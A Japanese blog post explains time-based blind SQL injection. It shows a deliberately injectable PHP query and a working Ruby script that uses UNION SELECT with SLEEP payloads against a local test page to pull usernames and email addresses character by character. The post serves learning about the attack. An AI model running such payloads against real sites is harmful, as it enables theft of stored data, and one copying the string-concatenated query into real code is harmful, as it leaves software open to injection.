Time-based SQL injectionなるものを知った

  • (今更かよというツッコミはさておき)
  • Blind SQL injectionの発展形
  • SQLの結果をレスポンス画面から取得できない場合、値の埋め込みの成否が判定できない
  • 成否の判定にSLEEP(5)などを用いる(SQL実行結果がレスポンスとして返らずとも、レスポンスが遅いこと自体をヒントにできるという発想)

MySQLで以下のようなテーブルを作成してみます。

CREATE TABLE bin (
id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
user VARCHAR(32),
email VARCHAR(32)
);

危険なPHPからアクセスします。

<?php
/*
 * 本来ならINSERTだけを実行するサイトで試す
 * 問題を解きたいだけなのでSELECT実行環境を用意する
 */

/* (中略) */

/* ※危険なコード※ */
/* PDOを使用 */
$sql = "SELECT * FROM bin " .
    "WHERE user = \"" . $user . "\"";
$stmt = $db->query($sql);

/* 
 * (略)
 * レコードを扱う処理
 * SQL実行結果に関するメッセージは一切表示されない
 */
?>

ポイントは、SQL実行結果に関するメッセージは一切表示されずとも
攻撃自体(レコード情報の取得)は可能であるという点です。

以下、Rubyでの攻撃例です。

require "uri"
require "net/http"
require "benchmark"
require "./printable.rb"


url = "http://localhost:8898/blind_time/b.php"
uri = URI.parse url

chars = Printable::CHARS    # (※1)
chars += ["\@", "."]    # メールアドレスの取得を想定している
sleep_sec = 3    # データベースをスリープさせる秒数
base = ""    # 確定した文字を追加していく
n = 15    # 予想文字数(baseを手書きで更新していけばよい)
n.times do
  times = {}    # 各文字での経過秒数を格納
  chars.each do |c|
    Net::HTTP.start(uri.host, uri.port) do |http|

      # PHP側でSELECT * としており、
      # カラム数が3なのでSELECT IF(..), 2, 3としている

      # ユーザー名を調べる場合
=begin
      params = {
        user: <<-SQL
        " UNION SELECT
        IF(
          user LIKE BINARY "#{base + c}%",
          SLEEP(#{sleep_sec}),
          0
        ), 2, 3 FROM bin; --
        SQL
      }
=end      

      # 判明したユーザー名からメールアドレスを調べる場合
      params = {
        user: <<-SQL
        " UNION SELECT
        IF(
          email LIKE BINARY "#{base + c}%",
          SLEEP(#{sleep_sec}),
          0
        ), 2, 3 FROM bin WHERE user = "test1"; --
        SQL
      }
      uri.query = URI.encode_www_form params

      # レスポンスが返るまでの時間を計測する
      elapsed = Benchmark.realtime do
        http.get uri
      end
      times[c] = elapsed

    end    # of Net::HTTP.start
  end    # of chars.each do

  # 経過時間が最大の文字がスリープ秒を越えれば追加
  max_time = times.values.max
  if max_time > sleep_sec
    char = times.key max_time
    base += char
    puts "Got: #{base}.."

    # (※2)
    # 2番目に長く経過した秒数 + 1秒程度を
    # 次回のスリープ秒とする
    times.delete char
    second_longest = times.values.max
    sleep_sec = second_longest + 1

  else
    break
  end

end    # of n.times do
puts base
  • ※1 ... 単なる文字リストです
  • ※2 ... データベースをスリープさせる秒数(sleep_sec)が長すぎるとリクエストに時間がかかるため、2番目に長かった経過時間+1秒程度を次回のスリープ秒としています

MySQLのchar()を使用してバイナリサーチで文字を特定するものを書きたい(予定)です。

We can read her face without getting her response.
(反応が得られなくても、表情から読み取ることができるさ)